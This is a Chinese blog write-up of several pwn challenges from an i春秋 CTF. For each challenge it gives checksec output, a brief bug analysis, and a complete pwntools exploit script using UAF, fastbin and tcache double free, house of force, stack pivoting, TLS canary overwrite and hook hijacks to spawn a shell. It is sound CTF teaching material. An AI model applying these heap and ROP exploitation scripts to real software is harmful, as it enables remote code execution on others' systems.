新春战役部分Pwn题解

i春秋举办的新春战役赛部分Pwn题解,当时只会做几道,太菜了

some thing excited

1
2
3
4
5
6
7
➜  excited checksec excited 
[*] '/home/mask/Desktop/ichunqiu/excited/excited'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

常规堆题,程序一开始会读入flag到bss段中,只能申请fastbin的chunk,而且还是chunk中存放chunk指针的结构,存在UAF,可以输出结构chunk上指针内容

释放两个结构chunk,再申请结构chunk大小的chunk,即可得到原先结构chunk,改为bss上的地址即可输出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
# encoding:utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './excited'
e = ELF(file)
libc = e.libc
rlibc = ''
ip = '123.56.85.29'
port = '6484'
debug = False


def dbg(code=""):
global debug
if debug == False:
return
gdb.attach(p, code)


def run(local):
global p, libc, debug
if local == 1:
debug = True
p = process(file)
else:
p = remote(ip, port)
debug = False
if rlibc != '':
libc = ELF(rlibc)


se = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sea = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
rc = lambda: p.recv(timeout=0.5)
ru = lambda x: p.recvuntil(x, drop=True)
rn = lambda x: p.recv(x)
shell = lambda: p.interactive()
un64 = lambda x: u64(x.ljust(8, '\x00'))
un32 = lambda x: u32(x.ljust(4, '\x00'))

run(0)
def create(l1, s1, l2, s2):
sla("> Now please tell me what you want to do :", "1")
sla(": ", str(l1))
sl(s1)
sla(": ", str(l2))
sl(s2)

def view(idx):
sla("> Now please tell me what you want to do :", "4")
sla("> SCP project ID : ", str(idx))

def delete(idx):
sla("> Now please tell me what you want to do :", "3")
sla("> Banana ID : ", str(idx))

create(0x20, "a", 0x20, "a")
create(0x30, "a", 0x30, "a")
create(0x40, "a", 0x40, "a")
create(0x50, "a", 0x50, "a")
delete(0)
delete(1)
delete(2)
create(0x10, p64(0x6020A8), 0x10, p64(0x6020A8))
dbg()
shell()

some thing interested

1
2
3
4
5
6
7
➜  interested checksec interested 
[*] '/home/mask/Desktop/ichunqiu/interested/interested'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

保护全开,常规堆题

申请堆块时一次性申请两个,大小也是限制在fastbin,也存在UAF,比上一题好的是存在编辑功能

先利用fastbin attack修改某个chunk的size超过fastbin的限制,释放后输出即可得到libc的地址,接着fastbin attack去劫持malloc hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
# encoding:utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './interested'
e = ELF(file)
libc = e.libc
rlibc = ''
ip = '123.56.85.29'
port = '3041'
debug = False


def dbg(code=""):
global debug
if debug == False:
return
gdb.attach(p, code)


def run(local):
global p, libc, debug
if local == 1:
debug = True
p = process(file)
else:
p = remote(ip, port)
debug = False
if rlibc != '':
libc = ELF(rlibc)


se = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sea = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
rc = lambda: p.recv(timeout=0.5)
ru = lambda x: p.recvuntil(x, drop=True)
rn = lambda x: p.recv(x)
shell = lambda: p.interactive()
un64 = lambda x: u64(x.ljust(8, '\x00'))
un32 = lambda x: u32(x.ljust(4, '\x00'))

run(0)

rc()
sl("OreOOrereOOreO")

def check():
sla("do :", "0")

def creat(a, b, c, d):
sla("do :", "1")
sla(" : ", str(a))
sla(" : ", str(b))
sla(" : ", str(c))
sla(" : ", str(d))

def modify(a, b, c):
sla("do :", "2")
sla(" : ", str(a))
sla(" : ", str(b))
sla(" : ", str(c))

def delete(a):
sla("do :", "3")
sla(" : ", str(a))

def view(a):
sla("do :", "4")
sla(" : ", str(a))

creat(0x70, 'a', 0x20, p64(0) * 3 + p64(0x81))
creat(0x70, 'a', 0x20, 'a')
creat(0x70, 'a', 0x70, 'a')
delete(1)
delete(2)
delete(1)
view(1)
ru("is ")
heap = un64(rn(6)) -0xb0
success(hex(heap))

creat(0x70, p64(heap +0xa0), 0x70, p64(heap +0xa0))
creat(0x70, 'a', 0x70, p64(0) + p64(0xb1))
delete(2)
view(2)
ru("is ")
libc.address = un64(rn(6)) -0x3c4b78
success(hex(libc.address))
creat(0x60, 'a', 0x10, 'a')
delete(6)
modify(6, p64(libc.address +0x3c4aed), 'a')
creat(0x60, 'a', 0x60, 'b' * 0x13 + p64(libc.address +0xf1147))
sla("do :", "1")
dbg()
sla(" : ", str(1))
shell()

borrowstack

1
2
3
4
5
6
7
➜  brrowstack checksec borrowstack 
[*] '/home/mask/Desktop/ichunqiu/brrowstack/borrowstack'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

功能很简单,读入bss与读入到栈,读到栈刚好覆盖返回地址,栈转移到bss进行rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
# encoding:utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './borrowstack'
e = ELF(file)
libc = e.libc
rlibc = ''
ip = '123.56.85.29'
port = '3635'
debug = False


def dbg(code=""):
global debug
if debug == False:
return
gdb.attach(p, code)


def run(local):
global p, libc, debug
if local == 1:
debug = True
p = process(file)
else:
p = remote(ip, port)
debug = False
if rlibc != '':
libc = ELF(rlibc)


se = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sea = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
rc = lambda: p.recv(timeout=0.5)
ru = lambda x: p.recvuntil(x, drop=True)
rn = lambda x: p.recv(x)
shell = lambda: p.interactive()
un64 = lambda x: u64(x.ljust(8, '\x00'))
un32 = lambda x: u32(x.ljust(4, '\x00'))

run(0)

rop_chain = 'a' * 0x90 + p64(0x0000000000400703) + p64(e.got['puts']) + p64(e.plt['puts'])
rop_chain += p64(0x0000000000400703) + p64(0) + p64(0x0000000000400701) + p64(0x601200) * 2 + p64(e.plt['read']) + p64(0x00000000004006fd) + p64(0x6011e8)

rc()
# dbg("b*0x400699")
pay = 'a' * 0x60 + p64(0x601080-8 + 0x90) + p64(0x400699)
se(pay)
ru("stack now!\n")
se(rop_chain)
libc.address = un64(rn(6)) - libc.symbols['puts']
log.success(hex(libc.address))
# rop_chain = 'a' * 0x50 + p64(0x0000000000400703) + p64(next(libc.search("/bin/sh"))) + p64(libc.symbols['system'])
# rc()
# pay = 'a' * 0x60 + p64(0x601080-8 + 0x50) + p64(0x400699)
rop_chain = p64(0x0000000000400703) + p64(0) + p64(0x0000000000400701) + p64(e.got['puts'])*2 + p64(e.plt['read'])
rop_chain += p64(0x0000000000400703) + p64(0x601248) + p64(e.plt['puts']) + "/bin/sh"
se(rop_chain)
dbg()
# se(p64(libc.symbols['system']))
se(p64(libc.address +0x4526a))
shell()

document

1
2
3
4
5
6
7
➜  document checksec pwn
[*] '/home/mask/Desktop/document/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

这道题实测是libc 2.29的,malloc限制了大小,都在tcache范围,存在UAF,每个chunk只能编辑一次

申请chunk次数有限,glibc 2.29也不允许double free,但是tcache_bin引入了一个key指针,用来指向tcachestruct,若是修改了key指针,就可以double free

利用4个chunk进行double free即可得到一个unsortedbin的chunk,进而泄漏出libc,接着利用tcache double free直接去改free hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
# encoding:utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './pwn'
e = ELF(file)
libc = e.libc
rlibc = ''
ip = '123.56.85.29'
port = '4807'
debug = False


def dbg(code=""):
global debug
if debug == False:
return
gdb.attach(p, code)


def run(local):
global p, libc, debug
if local == 1:
debug = True
p = process(file)
else:
p = remote(ip, port)
debug = False
if rlibc != '':
libc = ELF(rlibc)


se = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sea = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
rc = lambda: p.recv(timeout=0.5)
ru = lambda x: p.recvuntil(x, drop=True)
rn = lambda x: p.recv(x)
shell = lambda: p.interactive()
un64 = lambda x: u64(x.ljust(8, '\x00'))
un32 = lambda x: u32(x.ljust(4, '\x00'))

run(1)


def add(name, sex, information):
sla(": \n", "1")
sea("name\n", name)
sea("sex\n", sex)
sea("information\n", information)


def show(idx):
sla(": \n", "2")
sla(": \n", str(idx))


def edit(idx, sex, information):
sla(": \n", "3")
sla(": \n", str(idx))
sea("sex?\n", sex)
sea("information\n", information)


def remove(idx):
sla(": \n", "4")
sla(": \n", str(idx))


add("1" * 8, 'w', 'a' * 0x70)
add("1" * 8, 'w', 'a' * 0x70)
add("1" * 8, 'w', 'a' * 0x70)
add("1" * 8, 'w', 'a' * 0x70)
# add("1" * 8, 'w', 'a' * 0x70)
# add("1" * 8, 'w', 'a' * 0x70)
# add("1" * 8, 'w', 'a' * 0x70)

remove(0)
edit(0, 'Y', 'b' * 0x70)
remove(2)

remove(1)
edit(1, 'Y', 'b' * 0x70)
remove(1)
remove(0)

remove(3)
edit(3, 'Y', 'b' * 0x70)
remove(3)

edit(2, 'Y', 'b' * 0x70)
remove(2)

# remove(3)
show(2)
s = p.recvuntil('\x0a')
print hexdump(s)
libc.address = u64(s[0:6] + '\x00\x00') - 0x1e4ca0
success(hex(libc.address))
add(p64(libc.symbols['__free_hook'] - 0x10), 'w', 'a' * 0x70)
add('/bin/sh\x00', 'w', 'a' * 0x70)
add('/bin/sh\x00', 'w', p64(libc.symbols['system']).ljust(0x70, '\x00'))
remove(6)
shell()

BFnote

1
2
3
4
5
6
7
➜  BFnote checksec BFnote     
[*] '/home/mask/Desktop/ichunqiu/BFnote/BFnote'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

程序逻辑很简单,显示一个栈溢出,然后在bss上写值,申请任意大小的chunk,以chunk为基址进行任意偏移写

栈溢出被canary拦住了,预期解是通过申请很大的chunk,会mmap到libc附近地址

1
2
3
4
0xf7d00000 0xf7d22000 rw-p    22000 0      heap
0xf7d22000 0xf7ed2000 r-xp 1b0000 0 /lib/i386-linux-gnu/libc-2.23.so
0xf7ed2000 0xf7ed4000 r--p 2000 1af000 /lib/i386-linux-gnu/libc-2.23.so
0xf7ed4000 0xf7ed5000 rw-p 1000 1b1000 /lib/i386-linux-gnu/libc-2.23.so

接着通过偏移改写TLS中的canary

1
2
3
4
► 0x8048907    call   read@plt <0x8048470>
fd: 0x0
buf: 0xf7d2e714 ◂— 0xb1e42a00 (canary)
nbytes: 0xffffe8f4

接着就是常规ROP的操作了,可以ret2dlresolve,也可以爆破1/4096直接改写got表为system,调用即可

还看到了另一位师傅的wp,使用mprotect改bss可执行,写入shellcode就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
# encoding:utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './BFnote'
e = ELF(file)
libc = e.libc
rlibc = ''
ip = ''
port = ''
debug = False


def dbg(code=""):
global debug
if debug == False:
return
gdb.attach(p, code)


def run(local):
global p, libc, debug
if local == 1:
debug = True
p = process(file)
# p = process("./ld32.so ./BFnote".split(), env={"LD_PRELOAD": "./libc.so.6"})

else:
p = remote(ip, port)
debug = False
if rlibc != '':
libc = ELF(rlibc)


se = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sea = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
rc = lambda: p.recv(timeout=0.5)
ru = lambda x: p.recvuntil(x, drop=True)
rn = lambda x: p.recv(x)
shell = lambda: p.interactive()
un64 = lambda x: u64(x.ljust(8, '\x00'))
un32 = lambda x: u32(x.ljust(4, '\x00'))


pop4 = 0x080489d8

pop3 = 0x080489d9
rop_chain = 'a'*0x300
rop_chain += p32(e.plt['read']) + p32(pop3) + p32(0) + p32(e.got['read']) + p32(3)
rop_chain += p32(e.plt['read']) + p32(0x804a080+0x300) * 2
rop_chain += '/bin/sh\x00'


run(1)
rc()
sl('a' * 0x3a + p32(0x804a060 + 4+0x300) + 'bbbb')
rc()
sl(rop_chain)
rc()
dbg("b*0x0804897A ")
sl(str(0x20000))
rc()
se(str(0x2170c -0x10))
# se(str(0x2194c -0x10))
rc()
sl("10")
rc()
sl("aaaa")
rc()
sl("aaaa")
rc()
se("\xa0\xdd\xe3")
shell()

Force

1
2
3
4
5
6
7
➜  force checksec pwn   
[*] '/home/mask/Desktop/ichunqiu/force/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

保护全开,功能简单的堆,只能add,会显示heap地址,存在溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned __int64 add()
{
void **v0; // ST00_8
char *chunk; // [rsp+0h] [rbp-120h]
__int64 size; // [rsp+8h] [rbp-118h]
char s; // [rsp+10h] [rbp-110h]
unsigned __int64 v5; // [rsp+118h] [rbp-8h]

v5 = __readfsqword(0x28u);
memset(&s, 255, 0x100uLL);
for ( chunk = (char *)&list; *(_QWORD *)chunk; chunk += 8 )
;
if ( chunk - (char *)&list > 0x27 )
exit(0);
puts("size");
read(0, nptr, 0xFuLL);
size = atol(nptr);
*(_QWORD *)chunk = malloc(size);
if ( !*(_QWORD *)chunk )
exit(0);
printf("bin addr %p\n", *(_QWORD *)chunk, chunk, size);
puts("content");
read(0, *v0, 0x50uLL);
puts("done");
return __readfsqword(0x28u) ^ v5;
}

这题的解法如题目名字所言,house of force,利用条件是可以溢出修改top chunk size与可以申请任意大小的chunk,满足要求,house of force可以malloc anywhere

我们先通过正常size和超大size来获取heap和libc地址,同时把top chunk size改为-1

通过偏移malloc hook与top chunk的偏移来申请chunk,使得下一次申请到malloc hook

改为system,然后size为heap地址,因为这里没有size限制,那么就是调用system(“/bin/sh”)了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
# encoding:utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './pwn'
e = ELF(file)
libc = e.libc
rlibc = ''
ip = ''
port = ''
debug = False


def dbg(code=""):
global debug
if debug == False:
return
gdb.attach(p, code)


def run(local):
global p, libc, debug
if local == 1:
debug = True
p = process(file)
else:
p = remote(ip, port)
debug = False
if rlibc != '':
libc = ELF(rlibc)


se = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sea = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
rc = lambda: p.recv(timeout=0.5)
ru = lambda x: p.recvuntil(x, drop=True)
rn = lambda x: p.recv(x)
shell = lambda: p.interactive()
un64 = lambda x: u64(x.ljust(8, '\x00'))
un32 = lambda x: u32(x.ljust(4, '\x00'))

run(1)

def add(size, cont):
sla("\n", "1")
sla("\n", str(size))
ru("bin addr ")
address = ru('\n')
se(cont)
return int(address, 16)

libc.address = add(0x200000, 'b') +0x200ff0
print(hex(libc.address))
heap = add(0x10, '/bin/sh'.ljust(0x18,'\x00') + p64(0xffffffffffffffff)) -0x10
print(hex(heap))
top_chunk = heap +0x20
size = libc.symbols['__malloc_hook'] - top_chunk -0x30
add(size, 'a')
# one = libc_base + 0x4526a
add(0x10, p64(0) + p64(libc.symbols['realloc']) + p64(libc.symbols['system']))
# add(-0x10, 'a')
sla("\n", "1")
# dbg("breakrva 0xAF9")
sla("\n", str(heap +0x10))
shell()

signin

1
2
3
4
5
6
7
➜  signin checksec pwn
[*] '/home/mask/Desktop/signin/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

这道题存在后门函数,要求bss上一个指针非空即可拿shell

存在一次UAF的机会,可以改chunk的next,通过尝试申请到bss成功,可以知道远程是有tcache的

后门函数中使用calloc函数分配内存,这个函数是不会使用tcache的,而且在fastbin有chunk的时候,他会将fastbin的chunk放入到tcache中

先得到一个fastbin的chunk,通过UAF修改使其next指向bss,使tcache非空,调用后门函数,calloc分配内存,fastbin正常chunk被申请,其next被链入到tcache上,即往bss写入了一个heap地址,通过check

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
# encoding:utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './pwn'
e = ELF(file)
libc = e.libc
rlibc = ''
ip = 'node3.buuoj.cn'
port = '26569'
debug = False


def dbg(code=""):
global debug
if debug == False:
return
gdb.attach(p, code)


def run(local):
global p, libc, debug
if local == 1:
debug = True
p = process(file)
else:
p = remote(ip, port)
debug = False
if rlibc != '':
libc = ELF(rlibc)


se = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sea = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
rc = lambda: p.recv(timeout=0.5)
ru = lambda x: p.recvuntil(x, drop=True)
rn = lambda x: p.recv(x)
shell = lambda: p.interactive()
un64 = lambda x: u64(x.ljust(8, '\x00'))
un32 = lambda x: u32(x.ljust(4, '\x00'))

run(0)


def add(idx):
sla("?", "1")
sla("?\n", str(idx))


def edit(idx, c):
sla("?", "2")
sla("?\n", str(idx))
se(c)


def delete(idx):
sla("?", "3")
sla("?\n", str(idx))


for i in range(8):
add(i)

for i in range(8):
delete(i)

edit(7, p64(0x4040C0 - 0x10))
add(1)
add(2)
add(3)
delete(1)
sla("?", "6")
shell()

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×